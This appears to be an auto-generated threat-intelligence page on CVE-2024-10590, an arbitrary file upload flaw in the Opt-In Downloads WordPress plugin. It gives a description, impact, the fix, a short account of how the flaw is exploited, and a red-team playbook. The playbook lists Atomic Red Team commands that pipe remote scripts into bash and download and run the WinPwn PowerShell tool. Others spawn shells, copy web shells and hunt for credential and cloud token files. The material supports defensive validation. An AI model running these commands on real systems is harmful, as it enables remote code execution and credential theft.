CVE-2024-10590
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient file type validation within the admin_upload() function of the halfdata Opt-In Downloads WordPress plugin. The affected component is the plugin’s file upload mechanism, which fails to restrict uploaded file types, allowing unauthorized file content to be stored on the server. This issue is present in all versions up to and including 4.07.
Vulnerability Description
The Opt-In Downloads plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the admin_upload() function in all versions up to, and including, 4.07. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible. Due to the presence of an .htaccess file, this can only be exploited to achieve RCE on NGINX servers, unless another vulnerability is present.
Impact
An attacker with at least Subscriber-level access can upload arbitrary files to the server, which may be leveraged to execute remote code on NGINX-hosted sites due to the server configuration. This enables unauthorized code execution, data compromise, and potential full site takeover. The vulnerability requires authenticated access (PR:L) but no user interaction beyond login, with network attack vector (AV:N) and low attack complexity (AC:L), as indicated by the CVSS vector.
Solution
Users should upgrade the halfdata Opt-In Downloads plugin to a version later than 4.07 where the file upload validation is properly implemented. Detailed patch instructions and advisories are available from Wordfence at https://www.wordfence.com/threat-intel/vulnerabilities/id/5c3c20b8-12cf-4ce6-a1d4-99204df33fcd. Alternatively, users can refer to the CodeCanyon page for updated plugin versions and vendor guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Opt-In Downloads plugin for WordPress arises from inadequate file type validation within the admin_upload() function. This flaw allows authenticated users, particularly those with Subscriber-level access or higher, to upload arbitrary files to the server. The absence of stringent checks on the file types being uploaded creates a significant security risk, as attackers can exploit this weakness to introduce malicious files, potentially leading to remote code execution (RCE). The presence of an .htaccess file on the server further complicates the situation, as it restricts the exploitation to environments utilizing NGINX, unless additional vulnerabilities are present that could be leveraged.
Attack vectors for this vulnerability are notably straightforward. An authenticated attacker can simply access the upload functionality provided by the plugin and submit a crafted file, such as a PHP script, which the server will accept due to the lack of validation. Once the malicious file is uploaded, the attacker can execute it by navigating to its URL, thereby gaining control over the server. This scenario is particularly concerning for websites that rely on the plugin for file management, as it opens a pathway for attackers to manipulate server resources, access sensitive data, or deploy further attacks against users or other connected systems.
The real-world impact of this vulnerability can be severe, especially for businesses that depend on their online presence for operations and customer interactions. Successful exploitation can lead to data breaches, unauthorized access to sensitive information, and potential downtime, all of which can severely damage a company's reputation and financial stability. The risk is amplified for organizations that handle sensitive customer data, as the consequences of a breach can include legal ramifications, loss of customer trust, and significant financial losses due to remediation efforts and potential fines.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security audits and vulnerability assessments are essential to identify and address weaknesses in plugins and themes. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and block unauthorized file uploads. It is also crucial to keep all plugins, themes, and the WordPress core updated to their latest versions, as developers often release patches to address known vulnerabilities. Furthermore, restricting user permissions and ensuring that only trusted users have upload capabilities can significantly reduce the attack surface.
In conclusion, the vulnerability in the Opt-In Downloads plugin highlights the critical importance of robust file type validation and user access controls in web applications. Organizations must remain vigilant and proactive in their cybersecurity practices to protect against such vulnerabilities. By understanding the technical details, potential attack vectors, and real-world implications, businesses can better prepare themselves to defend against the risks associated with arbitrary file uploads and safeguard their digital assets.
CSURFACE threat intelligence has identified a notable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-10590, rising by over 30%. This upward adjustment reflects a growing likelihood that threat actors may attempt to exploit the arbitrary file upload vulnerability in the Opt-In Downloads WordPress plugin. Although no new exploit techniques or active campaigns have been detected by our telemetry, the elevated EPSS score signals heightened potential for exploitation, particularly given the plugin’s widespread use and the low privilege required for an attacker to initiate an attack. This change underscores an increased risk posture for organizations running affected versions, as the vulnerability’s exploitation could facilitate remote code execution under certain server configurations. Consequently, defenders should recognize that the threat environment is becoming more conducive to attacks leveraging this flaw, warranting closer monitoring despite the absence of confirmed active exploitation.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10590 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/5c3c20b8-12cf-4ce6-a1d4-99204df33fcd?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/subscribe-download/2687305 |